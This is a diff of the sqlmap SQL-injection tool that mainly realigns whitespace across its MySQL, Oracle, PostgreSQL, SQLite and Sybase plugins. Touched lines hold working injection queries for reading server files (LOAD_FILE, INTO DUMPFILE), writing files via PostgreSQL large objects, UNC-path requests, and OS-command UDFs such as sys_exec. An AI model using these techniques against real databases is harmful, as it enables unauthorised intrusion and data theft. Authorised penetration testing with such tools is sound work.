||||||
"sys_eval": { "return": "string" },
|
"sys_eval": { "return": "string" },
|
||||||
"sys_bineval": { "return": "int" }
|
"sys_bineval": { "return": "int" }
|
||||||
}
|
}
|
||||||
|
|
||||||
Syntax.__init__(self)
|
Syntax.__init__(self)
|
||||||
Fingerprint.__init__(self)
|
Fingerprint.__init__(self)
|
||||||
|
|
|
@ -39,12 +39,12 @@ class Filesystem(GenericFilesystem):
|
||||||
|
|
||||||
tmpFile = "%s/tmpf%s" % (conf.tmpPath, randomStr(lowercase=True))
|
tmpFile = "%s/tmpf%s" % (conf.tmpPath, randomStr(lowercase=True))
|
||||||
|
|
||||||
debugMsg = "saving hexadecimal encoded content of file '%s' " % rFile
|
debugMsg = "saving hexadecimal encoded content of file '%s' " % rFile
|
||||||
debugMsg += "into temporary file '%s'" % tmpFile
|
debugMsg += "into temporary file '%s'" % tmpFile
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
inject.goStacked("SELECT HEX(LOAD_FILE('%s')) INTO DUMPFILE '%s'" % (rFile, tmpFile))
|
inject.goStacked("SELECT HEX(LOAD_FILE('%s')) INTO DUMPFILE '%s'" % (rFile, tmpFile))
|
||||||
|
|
||||||
debugMsg = "loading the content of hexadecimal encoded file "
|
debugMsg = "loading the content of hexadecimal encoded file "
|
||||||
debugMsg += "'%s' into support table" % rFile
|
debugMsg += "'%s' into support table" % rFile
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
inject.goStacked("LOAD DATA INFILE '%s' INTO TABLE %s FIELDS TERMINATED BY '%s' (%s)" % (tmpFile, self.fileTblName, randomStr(10), self.tblField))
|
inject.goStacked("LOAD DATA INFILE '%s' INTO TABLE %s FIELDS TERMINATED BY '%s' (%s)" % (tmpFile, self.fileTblName, randomStr(10), self.tblField))
|
||||||
|
@ -52,11 +52,11 @@ class Filesystem(GenericFilesystem):
|
||||||
length = inject.getValue("SELECT LENGTH(%s) FROM %s" % (self.tblField, self.fileTblName), sort=False, resumeValue=False, charsetType=2)
|
length = inject.getValue("SELECT LENGTH(%s) FROM %s" % (self.tblField, self.fileTblName), sort=False, resumeValue=False, charsetType=2)
|
||||||
|
|
||||||
if length is None or not length.isdigit() or not len(length) or length in ( "0", "1" ):
|
if length is None or not length.isdigit() or not len(length) or length in ( "0", "1" ):
|
||||||
errMsg = "unable to retrieve the content of the "
|
errMsg = "unable to retrieve the content of the "
|
||||||
errMsg += "file '%s'" % rFile
|
errMsg += "file '%s'" % rFile
|
||||||
raise sqlmapNoneDataException, errMsg
|
raise sqlmapNoneDataException, errMsg
|
||||||
|
|
||||||
length = int(length)
|
length = int(length)
|
||||||
sustrLen = 1024
|
sustrLen = 1024
|
||||||
|
|
||||||
if length > sustrLen:
|
if length > sustrLen:
|
||||||
|
@ -74,12 +74,12 @@ class Filesystem(GenericFilesystem):
|
||||||
def unionWriteFile(self, wFile, dFile, fileType, confirm=True):
|
def unionWriteFile(self, wFile, dFile, fileType, confirm=True):
|
||||||
logger.debug("encoding file to its hexadecimal string value")
|
logger.debug("encoding file to its hexadecimal string value")
|
||||||
|
|
||||||
fcEncodedList = self.fileEncode(wFile, "hex", True)
|
fcEncodedList = self.fileEncode(wFile, "hex", True)
|
||||||
fcEncodedStr = fcEncodedList[0]
|
fcEncodedStr = fcEncodedList[0]
|
||||||
fcEncodedStrLen = len(fcEncodedStr)
|
fcEncodedStrLen = len(fcEncodedStr)
|
||||||
|
|
||||||
if kb.injection.place == PLACE.GET and fcEncodedStrLen > 8000:
|
if kb.injection.place == PLACE.GET and fcEncodedStrLen > 8000:
|
||||||
warnMsg = "the injection is on a GET parameter and the file "
|
warnMsg = "the injection is on a GET parameter and the file "
|
||||||
warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen
|
warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen
|
||||||
warnMsg += "bytes, this might cause errors in the file "
|
warnMsg += "bytes, this might cause errors in the file "
|
||||||
warnMsg += "writing process"
|
warnMsg += "writing process"
|
||||||
|
@ -95,7 +95,7 @@ class Filesystem(GenericFilesystem):
|
||||||
self.askCheckWrittenFile(wFile, dFile, fileType)
|
self.askCheckWrittenFile(wFile, dFile, fileType)
|
||||||
|
|
||||||
def stackedWriteFile(self, wFile, dFile, fileType, confirm=True):
|
def stackedWriteFile(self, wFile, dFile, fileType, confirm=True):
|
||||||
debugMsg = "creating a support table to write the hexadecimal "
|
debugMsg = "creating a support table to write the hexadecimal "
|
||||||
debugMsg += "encoded file to"
|
debugMsg += "encoded file to"
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
|
@ -104,7 +104,7 @@ class Filesystem(GenericFilesystem):
|
||||||
logger.debug("encoding file to its hexadecimal string value")
|
logger.debug("encoding file to its hexadecimal string value")
|
||||||
fcEncodedList = self.fileEncode(wFile, "hex", False)
|
fcEncodedList = self.fileEncode(wFile, "hex", False)
|
||||||
|
|
||||||
debugMsg = "forging SQL statements to write the hexadecimal "
|
debugMsg = "forging SQL statements to write the hexadecimal "
|
||||||
debugMsg += "encoded file to the support table"
|
debugMsg += "encoded file to the support table"
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
|
|
|
@ -97,7 +97,7 @@ class Fingerprint(GenericFingerprint):
|
||||||
return None
|
return None
|
||||||
|
|
||||||
def getFingerprint(self):
|
def getFingerprint(self):
|
||||||
value = ""
|
value = ""
|
||||||
wsOsFp = Format.getOs("web server", kb.headersFp)
|
wsOsFp = Format.getOs("web server", kb.headersFp)
|
||||||
|
|
||||||
if wsOsFp:
|
if wsOsFp:
|
||||||
|
@ -117,7 +117,7 @@ class Fingerprint(GenericFingerprint):
|
||||||
return value
|
return value
|
||||||
|
|
||||||
comVer = self.__commentCheck()
|
comVer = self.__commentCheck()
|
||||||
blank = " " * 15
|
blank = " " * 15
|
||||||
value += "active fingerprint: %s" % actVer
|
value += "active fingerprint: %s" % actVer
|
||||||
|
|
||||||
if comVer:
|
if comVer:
|
||||||
|
|
|
@ -40,7 +40,7 @@ class Syntax(GenericSyntax):
|
||||||
|
|
||||||
expression = expression.replace(old, "CHAR(%s)" % unescaped)
|
expression = expression.replace(old, "CHAR(%s)" % unescaped)
|
||||||
else:
|
else:
|
||||||
unescaped = "CHAR("
|
unescaped = "CHAR("
|
||||||
unescaped += ",".join("%d" % ord(c) for c in expression)
|
unescaped += ",".join("%d" % ord(c) for c in expression)
|
||||||
unescaped += ")"
|
unescaped += ")"
|
||||||
|
|
||||||
|
|
|
@ -103,8 +103,8 @@ class Takeover(GenericTakeover):
|
||||||
|
|
||||||
def uncPathRequest(self):
|
def uncPathRequest(self):
|
||||||
if not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED):
|
if not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED):
|
||||||
query = agent.prefixQuery("AND LOAD_FILE('%s')" % self.uncPath)
|
query = agent.prefixQuery("AND LOAD_FILE('%s')" % self.uncPath)
|
||||||
query = agent.suffixQuery(query)
|
query = agent.suffixQuery(query)
|
||||||
payload = agent.payload(newValue=query)
|
payload = agent.payload(newValue=query)
|
||||||
|
|
||||||
Request.queryPage(payload)
|
Request.queryPage(payload)
|
||||||
|
|
|
@ -45,10 +45,10 @@ class Enumeration(GenericEnumeration):
|
||||||
|
|
||||||
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
|
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
|
||||||
if query2:
|
if query2:
|
||||||
query = rootQuery.inband.query2
|
query = rootQuery.inband.query2
|
||||||
condition = rootQuery.inband.condition2
|
condition = rootQuery.inband.condition2
|
||||||
else:
|
else:
|
||||||
query = rootQuery.inband.query
|
query = rootQuery.inband.query
|
||||||
condition = rootQuery.inband.condition
|
condition = rootQuery.inband.condition
|
||||||
|
|
||||||
if conf.user:
|
if conf.user:
|
||||||
|
@ -66,7 +66,7 @@ class Enumeration(GenericEnumeration):
|
||||||
|
|
||||||
if values:
|
if values:
|
||||||
for value in values:
|
for value in values:
|
||||||
user = None
|
user = None
|
||||||
roles = set()
|
roles = set()
|
||||||
|
|
||||||
for count in xrange(0, len(value)):
|
for count in xrange(0, len(value)):
|
||||||
|
@ -108,7 +108,7 @@ class Enumeration(GenericEnumeration):
|
||||||
if user in retrievedUsers:
|
if user in retrievedUsers:
|
||||||
continue
|
continue
|
||||||
|
|
||||||
infoMsg = "fetching number of roles "
|
infoMsg = "fetching number of roles "
|
||||||
infoMsg += "for user '%s'" % user
|
infoMsg += "for user '%s'" % user
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
@ -130,7 +130,7 @@ class Enumeration(GenericEnumeration):
|
||||||
|
|
||||||
return self.getPrivileges(query2=True)
|
return self.getPrivileges(query2=True)
|
||||||
|
|
||||||
warnMsg = "unable to retrieve the number of "
|
warnMsg = "unable to retrieve the number of "
|
||||||
warnMsg += "roles for user '%s'" % user
|
warnMsg += "roles for user '%s'" % user
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
continue
|
continue
|
||||||
|
@ -155,14 +155,14 @@ class Enumeration(GenericEnumeration):
|
||||||
if roles:
|
if roles:
|
||||||
kb.data.cachedUsersRoles[user] = list(roles)
|
kb.data.cachedUsersRoles[user] = list(roles)
|
||||||
else:
|
else:
|
||||||
warnMsg = "unable to retrieve the roles "
|
warnMsg = "unable to retrieve the roles "
|
||||||
warnMsg += "for user '%s'" % user
|
warnMsg += "for user '%s'" % user
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
retrievedUsers.add(user)
|
retrievedUsers.add(user)
|
||||||
|
|
||||||
if not kb.data.cachedUsersRoles:
|
if not kb.data.cachedUsersRoles:
|
||||||
errMsg = "unable to retrieve the roles "
|
errMsg = "unable to retrieve the roles "
|
||||||
errMsg += "for the database users"
|
errMsg += "for the database users"
|
||||||
raise sqlmapNoneDataException, errMsg
|
raise sqlmapNoneDataException, errMsg
|
||||||
|
|
||||||
|
|
|
@ -16,11 +16,11 @@ class Filesystem(GenericFilesystem):
|
||||||
GenericFilesystem.__init__(self)
|
GenericFilesystem.__init__(self)
|
||||||
|
|
||||||
def readFile(self, rFile):
|
def readFile(self, rFile):
|
||||||
errMsg = "File system read access not yet implemented for "
|
errMsg = "File system read access not yet implemented for "
|
||||||
errMsg += "Oracle"
|
errMsg += "Oracle"
|
||||||
raise sqlmapUnsupportedFeatureException, errMsg
|
raise sqlmapUnsupportedFeatureException, errMsg
|
||||||
|
|
||||||
def writeFile(self, wFile, dFile, fileType=None, confirm=True):
|
def writeFile(self, wFile, dFile, fileType=None, confirm=True):
|
||||||
errMsg = "File system write access not yet implemented for "
|
errMsg = "File system write access not yet implemented for "
|
||||||
errMsg += "Oracle"
|
errMsg += "Oracle"
|
||||||
raise sqlmapUnsupportedFeatureException, errMsg
|
raise sqlmapUnsupportedFeatureException, errMsg
|
||||||
|
|
|
@ -28,7 +28,7 @@ class Fingerprint(GenericFingerprint):
|
||||||
GenericFingerprint.__init__(self, DBMS.ORACLE)
|
GenericFingerprint.__init__(self, DBMS.ORACLE)
|
||||||
|
|
||||||
def getFingerprint(self):
|
def getFingerprint(self):
|
||||||
value = ""
|
value = ""
|
||||||
wsOsFp = Format.getOs("web server", kb.headersFp)
|
wsOsFp = Format.getOs("web server", kb.headersFp)
|
||||||
|
|
||||||
if wsOsFp:
|
if wsOsFp:
|
||||||
|
@ -46,9 +46,9 @@ class Fingerprint(GenericFingerprint):
|
||||||
value += DBMS.ORACLE
|
value += DBMS.ORACLE
|
||||||
return value
|
return value
|
||||||
|
|
||||||
actVer = Format.getDbms()
|
actVer = Format.getDbms()
|
||||||
blank = " " * 15
|
blank = " " * 15
|
||||||
value += "active fingerprint: %s" % actVer
|
value += "active fingerprint: %s" % actVer
|
||||||
|
|
||||||
if kb.bannerFp:
|
if kb.bannerFp:
|
||||||
banVer = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None
|
banVer = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None
|
||||||
|
|
|
@ -16,21 +16,21 @@ class Takeover(GenericTakeover):
|
||||||
GenericTakeover.__init__(self)
|
GenericTakeover.__init__(self)
|
||||||
|
|
||||||
def osCmd(self):
|
def osCmd(self):
|
||||||
errMsg = "Operating system command execution functionality not "
|
errMsg = "Operating system command execution functionality not "
|
||||||
errMsg += "yet implemented for Oracle"
|
errMsg += "yet implemented for Oracle"
|
||||||
raise sqlmapUnsupportedFeatureException, errMsg
|
raise sqlmapUnsupportedFeatureException, errMsg
|
||||||
|
|
||||||
def osShell(self):
|
def osShell(self):
|
||||||
errMsg = "Operating system shell functionality not yet "
|
errMsg = "Operating system shell functionality not yet "
|
||||||
errMsg += "implemented for Oracle"
|
errMsg += "implemented for Oracle"
|
||||||
raise sqlmapUnsupportedFeatureException, errMsg
|
raise sqlmapUnsupportedFeatureException, errMsg
|
||||||
|
|
||||||
def osPwn(self):
|
def osPwn(self):
|
||||||
errMsg = "Operating system out-of-band control functionality "
|
errMsg = "Operating system out-of-band control functionality "
|
||||||
errMsg += "not yet implemented for Oracle"
|
errMsg += "not yet implemented for Oracle"
|
||||||
raise sqlmapUnsupportedFeatureException, errMsg
|
raise sqlmapUnsupportedFeatureException, errMsg
|
||||||
|
|
||||||
def osSmb(self):
|
def osSmb(self):
|
||||||
errMsg = "One click operating system out-of-band control "
|
errMsg = "One click operating system out-of-band control "
|
||||||
errMsg += "functionality not yet implemented for Oracle"
|
errMsg += "functionality not yet implemented for Oracle"
|
||||||
raise sqlmapUnsupportedFeatureException, errMsg
|
raise sqlmapUnsupportedFeatureException, errMsg
|
||||||
|
|
|
@ -25,13 +25,13 @@ class PostgreSQLMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous,
|
||||||
|
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
self.excludeDbsList = PGSQL_SYSTEM_DBS
|
self.excludeDbsList = PGSQL_SYSTEM_DBS
|
||||||
self.sysUdfs = {
|
self.sysUdfs = {
|
||||||
# UDF name: UDF parameters' input data-type and return data-type
|
# UDF name: UDF parameters' input data-type and return data-type
|
||||||
"sys_exec": { "input": [ "text" ], "return": "int4" },
|
"sys_exec": { "input": [ "text" ], "return": "int4" },
|
||||||
"sys_eval": { "input": [ "text" ], "return": "text" },
|
"sys_eval": { "input": [ "text" ], "return": "text" },
|
||||||
"sys_bineval": { "input": [ "text" ], "return": "int4" },
|
"sys_bineval": { "input": [ "text" ], "return": "int4" },
|
||||||
"sys_fileread": { "input": [ "text" ], "return": "text" }
|
"sys_fileread": { "input": [ "text" ], "return": "text" }
|
||||||
}
|
}
|
||||||
|
|
||||||
Syntax.__init__(self)
|
Syntax.__init__(self)
|
||||||
Fingerprint.__init__(self)
|
Fingerprint.__init__(self)
|
||||||
|
|
|
@ -24,7 +24,7 @@ class Filesystem(GenericFilesystem):
|
||||||
GenericFilesystem.__init__(self)
|
GenericFilesystem.__init__(self)
|
||||||
|
|
||||||
def unionReadFile(self, rFile):
|
def unionReadFile(self, rFile):
|
||||||
errMsg = "PostgreSQL does not support file reading with UNION "
|
errMsg = "PostgreSQL does not support file reading with UNION "
|
||||||
errMsg += "query SQL injection technique"
|
errMsg += "query SQL injection technique"
|
||||||
raise sqlmapUnsupportedFeatureException, errMsg
|
raise sqlmapUnsupportedFeatureException, errMsg
|
||||||
|
|
||||||
|
@ -37,7 +37,7 @@ class Filesystem(GenericFilesystem):
|
||||||
return self.udfEvalCmd(cmd="'%s'" % rFile, udfName="sys_fileread")
|
return self.udfEvalCmd(cmd="'%s'" % rFile, udfName="sys_fileread")
|
||||||
|
|
||||||
def unionWriteFile(self, wFile, dFile, fileType, confirm=True):
|
def unionWriteFile(self, wFile, dFile, fileType, confirm=True):
|
||||||
errMsg = "PostgreSQL does not support file upload with UNION "
|
errMsg = "PostgreSQL does not support file upload with UNION "
|
||||||
errMsg += "query SQL injection technique"
|
errMsg += "query SQL injection technique"
|
||||||
raise sqlmapUnsupportedFeatureException, errMsg
|
raise sqlmapUnsupportedFeatureException, errMsg
|
||||||
|
|
||||||
|
@ -45,13 +45,13 @@ class Filesystem(GenericFilesystem):
|
||||||
wFileSize = os.path.getsize(wFile)
|
wFileSize = os.path.getsize(wFile)
|
||||||
|
|
||||||
if wFileSize > 8192:
|
if wFileSize > 8192:
|
||||||
errMsg = "on PostgreSQL it is not possible to write files "
|
errMsg = "on PostgreSQL it is not possible to write files "
|
||||||
errMsg += "bigger than 8192 bytes at the moment"
|
errMsg += "bigger than 8192 bytes at the moment"
|
||||||
raise sqlmapUnsupportedFeatureException, errMsg
|
raise sqlmapUnsupportedFeatureException, errMsg
|
||||||
|
|
||||||
self.oid = randomInt()
|
self.oid = randomInt()
|
||||||
|
|
||||||
debugMsg = "creating a support table to write the base64 "
|
debugMsg = "creating a support table to write the base64 "
|
||||||
debugMsg += "encoded file to"
|
debugMsg += "encoded file to"
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
|
@ -60,7 +60,7 @@ class Filesystem(GenericFilesystem):
|
||||||
logger.debug("encoding file to its base64 string value")
|
logger.debug("encoding file to its base64 string value")
|
||||||
fcEncodedList = self.fileEncode(wFile, "base64", False)
|
fcEncodedList = self.fileEncode(wFile, "base64", False)
|
||||||
|
|
||||||
debugMsg = "forging SQL statements to write the base64 "
|
debugMsg = "forging SQL statements to write the base64 "
|
||||||
debugMsg += "encoded file to the support table"
|
debugMsg += "encoded file to the support table"
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
|
@ -71,7 +71,7 @@ class Filesystem(GenericFilesystem):
|
||||||
for sqlQuery in sqlQueries:
|
for sqlQuery in sqlQueries:
|
||||||
inject.goStacked(sqlQuery)
|
inject.goStacked(sqlQuery)
|
||||||
|
|
||||||
debugMsg = "create a new OID for a large object, it implicitly "
|
debugMsg = "create a new OID for a large object, it implicitly "
|
||||||
debugMsg += "adds an entry in the large objects system table"
|
debugMsg += "adds an entry in the large objects system table"
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
|
@ -81,7 +81,7 @@ class Filesystem(GenericFilesystem):
|
||||||
inject.goStacked("SELECT lo_unlink(%d)" % self.oid)
|
inject.goStacked("SELECT lo_unlink(%d)" % self.oid)
|
||||||
inject.goStacked("SELECT lo_create(%d)" % self.oid)
|
inject.goStacked("SELECT lo_create(%d)" % self.oid)
|
||||||
|
|
||||||
debugMsg = "updating the system large objects table assigning to "
|
debugMsg = "updating the system large objects table assigning to "
|
||||||
debugMsg += "the just created OID the binary (base64 decoded) UDF "
|
debugMsg += "the just created OID the binary (base64 decoded) UDF "
|
||||||
debugMsg += "as data"
|
debugMsg += "as data"
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
@ -110,7 +110,7 @@ class Filesystem(GenericFilesystem):
|
||||||
else:
|
else:
|
||||||
inject.goStacked("UPDATE pg_largeobject SET data=(DECODE((SELECT %s FROM %s), 'base64')) WHERE loid=%d" % (self.tblField, self.fileTblName, self.oid))
|
inject.goStacked("UPDATE pg_largeobject SET data=(DECODE((SELECT %s FROM %s), 'base64')) WHERE loid=%d" % (self.tblField, self.fileTblName, self.oid))
|
||||||
|
|
||||||
debugMsg = "exporting the OID %s file content to " % fileType
|
debugMsg = "exporting the OID %s file content to " % fileType
|
||||||
debugMsg += "file '%s'" % dFile
|
debugMsg += "file '%s'" % dFile
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
|
|
|
@ -32,7 +32,7 @@ class Fingerprint(GenericFingerprint):
|
||||||
GenericFingerprint.__init__(self, DBMS.PGSQL)
|
GenericFingerprint.__init__(self, DBMS.PGSQL)
|
||||||
|
|
||||||
def getFingerprint(self):
|
def getFingerprint(self):
|
||||||
value = ""
|
value = ""
|
||||||
wsOsFp = Format.getOs("web server", kb.headersFp)
|
wsOsFp = Format.getOs("web server", kb.headersFp)
|
||||||
|
|
||||||
if wsOsFp:
|
if wsOsFp:
|
||||||
|
@ -50,9 +50,9 @@ class Fingerprint(GenericFingerprint):
|
||||||
value += DBMS.PGSQL
|
value += DBMS.PGSQL
|
||||||
return value
|
return value
|
||||||
|
|
||||||
actVer = Format.getDbms()
|
actVer = Format.getDbms()
|
||||||
blank = " " * 15
|
blank = " " * 15
|
||||||
value += "active fingerprint: %s" % actVer
|
value += "active fingerprint: %s" % actVer
|
||||||
|
|
||||||
if kb.bannerFp:
|
if kb.bannerFp:
|
||||||
banVer = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None
|
banVer = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None
|
||||||
|
@ -183,7 +183,7 @@ class Fingerprint(GenericFingerprint):
|
||||||
if conf.db not in PGSQL_SYSTEM_DBS and conf.db != "public":
|
if conf.db not in PGSQL_SYSTEM_DBS and conf.db != "public":
|
||||||
conf.db = "public"
|
conf.db = "public"
|
||||||
|
|
||||||
warnMsg = "on %s it is only possible to enumerate " % DBMS.PGSQL
|
warnMsg = "on %s it is only possible to enumerate " % DBMS.PGSQL
|
||||||
warnMsg += "on the current schema and on system databases, "
|
warnMsg += "on the current schema and on system databases, "
|
||||||
warnMsg += "sqlmap is going to use 'public' schema as "
|
warnMsg += "sqlmap is going to use 'public' schema as "
|
||||||
warnMsg += "database name"
|
warnMsg += "database name"
|
||||||
|
|
|
@ -55,7 +55,7 @@ class Connector(GenericConnector):
|
||||||
try:
|
try:
|
||||||
import sqlite
|
import sqlite
|
||||||
except ImportError, _:
|
except ImportError, _:
|
||||||
errMsg = "sqlmap requires 'python-sqlite2' third-party library "
|
errMsg = "sqlmap requires 'python-sqlite2' third-party library "
|
||||||
errMsg += "in order to directly connect to the database '%s'" % self.db
|
errMsg += "in order to directly connect to the database '%s'" % self.db
|
||||||
raise sqlmapMissingDependence, errMsg
|
raise sqlmapMissingDependence, errMsg
|
||||||
|
|
||||||
|
|
|
@ -27,7 +27,7 @@ class Fingerprint(GenericFingerprint):
|
||||||
GenericFingerprint.__init__(self, DBMS.SQLITE)
|
GenericFingerprint.__init__(self, DBMS.SQLITE)
|
||||||
|
|
||||||
def getFingerprint(self):
|
def getFingerprint(self):
|
||||||
value = ""
|
value = ""
|
||||||
wsOsFp = Format.getOs("web server", kb.headersFp)
|
wsOsFp = Format.getOs("web server", kb.headersFp)
|
||||||
|
|
||||||
if wsOsFp:
|
if wsOsFp:
|
||||||
|
@ -46,7 +46,7 @@ class Fingerprint(GenericFingerprint):
|
||||||
return value
|
return value
|
||||||
|
|
||||||
actVer = Format.getDbms()
|
actVer = Format.getDbms()
|
||||||
blank = " " * 15
|
blank = " " * 15
|
||||||
value += "active fingerprint: %s" % actVer
|
value += "active fingerprint: %s" % actVer
|
||||||
|
|
||||||
if kb.bannerFp:
|
if kb.bannerFp:
|
||||||
|
|
|
@ -24,11 +24,11 @@ class Takeover(GenericTakeover):
|
||||||
raise sqlmapUnsupportedFeatureException, errMsg
|
raise sqlmapUnsupportedFeatureException, errMsg
|
||||||
|
|
||||||
def osPwn(self):
|
def osPwn(self):
|
||||||
errMsg = "on SQLite it is not possible to establish an "
|
errMsg = "on SQLite it is not possible to establish an "
|
||||||
errMsg += "out-of-band connection"
|
errMsg += "out-of-band connection"
|
||||||
raise sqlmapUnsupportedFeatureException, errMsg
|
raise sqlmapUnsupportedFeatureException, errMsg
|
||||||
|
|
||||||
def osSmb(self):
|
def osSmb(self):
|
||||||
errMsg = "on SQLite it is not possible to establish an "
|
errMsg = "on SQLite it is not possible to establish an "
|
||||||
errMsg += "out-of-band connection"
|
errMsg += "out-of-band connection"
|
||||||
raise sqlmapUnsupportedFeatureException, errMsg
|
raise sqlmapUnsupportedFeatureException, errMsg
|
||||||
|
|
|
@ -60,7 +60,7 @@ class Enumeration(GenericEnumeration):
|
||||||
self.forceDbmsEnum()
|
self.forceDbmsEnum()
|
||||||
|
|
||||||
if not conf.db:
|
if not conf.db:
|
||||||
warnMsg = "missing database parameter, sqlmap is going to "
|
warnMsg = "missing database parameter, sqlmap is going to "
|
||||||
warnMsg += "use the current database to enumerate table "
|
warnMsg += "use the current database to enumerate table "
|
||||||
warnMsg += "'%s' columns" % conf.tbl
|
warnMsg += "'%s' columns" % conf.tbl
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
|
@ -28,7 +28,7 @@ class Fingerprint(GenericFingerprint):
|
||||||
GenericFingerprint.__init__(self, DBMS.SYBASE)
|
GenericFingerprint.__init__(self, DBMS.SYBASE)
|
||||||
|
|
||||||
def getFingerprint(self):
|
def getFingerprint(self):
|
||||||
value = ""
|
value = ""
|
||||||
wsOsFp = Format.getOs("web server", kb.headersFp)
|
wsOsFp = Format.getOs("web server", kb.headersFp)
|
||||||
|
|
||||||
if wsOsFp:
|
if wsOsFp:
|
||||||
|
@ -47,7 +47,7 @@ class Fingerprint(GenericFingerprint):
|
||||||
return value
|
return value
|
||||||
|
|
||||||
actVer = Format.getDbms()
|
actVer = Format.getDbms()
|
||||||
blank = " " * 15
|
blank = " " * 15
|
||||||
value += "active fingerprint: %s" % actVer
|
value += "active fingerprint: %s" % actVer
|
||||||
|
|
||||||
if kb.bannerFp:
|
if kb.bannerFp:
|
||||||
|
|
|
@ -24,11 +24,11 @@ class Takeover(GenericTakeover):
|
||||||
raise sqlmapUnsupportedFeatureException, errMsg
|
raise sqlmapUnsupportedFeatureException, errMsg
|
||||||
|
|
||||||
def osPwn(self):
|
def osPwn(self):
|
||||||
errMsg = "on Sybase it is not possible to establish an "
|
errMsg = "on Sybase it is not possible to establish an "
|
||||||
errMsg += "out-of-band connection"
|
errMsg += "out-of-band connection"
|
||||||
raise sqlmapUnsupportedFeatureException, errMsg
|
raise sqlmapUnsupportedFeatureException, errMsg
|
||||||
|
|
||||||
def osSmb(self):
|
def osSmb(self):
|
||||||
errMsg = "on Sybase it is not possible to establish an "
|
errMsg = "on Sybase it is not possible to establish an "
|
||||||
errMsg += "out-of-band connection"
|
errMsg += "out-of-band connection"
|
||||||
raise sqlmapUnsupportedFeatureException, errMsg
|
raise sqlmapUnsupportedFeatureException, errMsg
|
||||||
|
|
|
@ -60,21 +60,21 @@ class Connector:
|
||||||
raise sqlmapFilePathException, errMsg
|
raise sqlmapFilePathException, errMsg
|
||||||
|
|
||||||
def connect(self):
|
def connect(self):
|
||||||
errMsg = "'connect' method must be defined "
|
errMsg = "'connect' method must be defined "
|
||||||
errMsg += "into the specific DBMS plugin"
|
errMsg += "into the specific DBMS plugin"
|
||||||
raise sqlmapUndefinedMethod, errMsg
|
raise sqlmapUndefinedMethod, errMsg
|
||||||
|
|
||||||
def fetchall(self):
|
def fetchall(self):
|
||||||
errMsg = "'fetchall' method must be defined "
|
errMsg = "'fetchall' method must be defined "
|
||||||
errMsg += "into the specific DBMS plugin"
|
errMsg += "into the specific DBMS plugin"
|
||||||
raise sqlmapUndefinedMethod, errMsg
|
raise sqlmapUndefinedMethod, errMsg
|
||||||
|
|
||||||
def execute(self, query):
|
def execute(self, query):
|
||||||
errMsg = "'execute' method must be defined "
|
errMsg = "'execute' method must be defined "
|
||||||
errMsg += "into the specific DBMS plugin"
|
errMsg += "into the specific DBMS plugin"
|
||||||
raise sqlmapUndefinedMethod, errMsg
|
raise sqlmapUndefinedMethod, errMsg
|
||||||
|
|
||||||
def select(self, query):
|
def select(self, query):
|
||||||
errMsg = "'select' method must be defined "
|
errMsg = "'select' method must be defined "
|
||||||
errMsg += "into the specific DBMS plugin"
|
errMsg += "into the specific DBMS plugin"
|
||||||
raise sqlmapUndefinedMethod, errMsg
|
raise sqlmapUndefinedMethod, errMsg
|
||||||
|
|
|
@ -75,20 +75,20 @@ class Enumeration:
|
||||||
|
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
kb.data.has_information_schema = False
|
kb.data.has_information_schema = False
|
||||||
kb.data.banner = None
|
kb.data.banner = None
|
||||||
kb.data.currentUser = ""
|
kb.data.currentUser = ""
|
||||||
kb.data.currentDb = ""
|
kb.data.currentDb = ""
|
||||||
kb.data.cachedUsers = []
|
kb.data.cachedUsers = []
|
||||||
kb.data.cachedUsersPasswords = {}
|
kb.data.cachedUsersPasswords = {}
|
||||||
kb.data.cachedUsersPrivileges = {}
|
kb.data.cachedUsersPrivileges = {}
|
||||||
kb.data.cachedUsersRoles = {}
|
kb.data.cachedUsersRoles = {}
|
||||||
kb.data.cachedDbs = []
|
kb.data.cachedDbs = []
|
||||||
kb.data.cachedTables = {}
|
kb.data.cachedTables = {}
|
||||||
kb.data.cachedColumns = {}
|
kb.data.cachedColumns = {}
|
||||||
kb.data.cachedCounts = {}
|
kb.data.cachedCounts = {}
|
||||||
kb.data.dumpedTable = {}
|
kb.data.dumpedTable = {}
|
||||||
kb.data.processChar = None
|
kb.data.processChar = None
|
||||||
self.alwaysRetrieveSqlOutput = False
|
self.alwaysRetrieveSqlOutput = False
|
||||||
|
|
||||||
def getBanner(self):
|
def getBanner(self):
|
||||||
if not conf.getBanner:
|
if not conf.getBanner:
|
||||||
|
@ -164,7 +164,7 @@ class Enumeration:
|
||||||
|
|
||||||
rootQuery = queries[Backend.getIdentifiedDbms()].users
|
rootQuery = queries[Backend.getIdentifiedDbms()].users
|
||||||
|
|
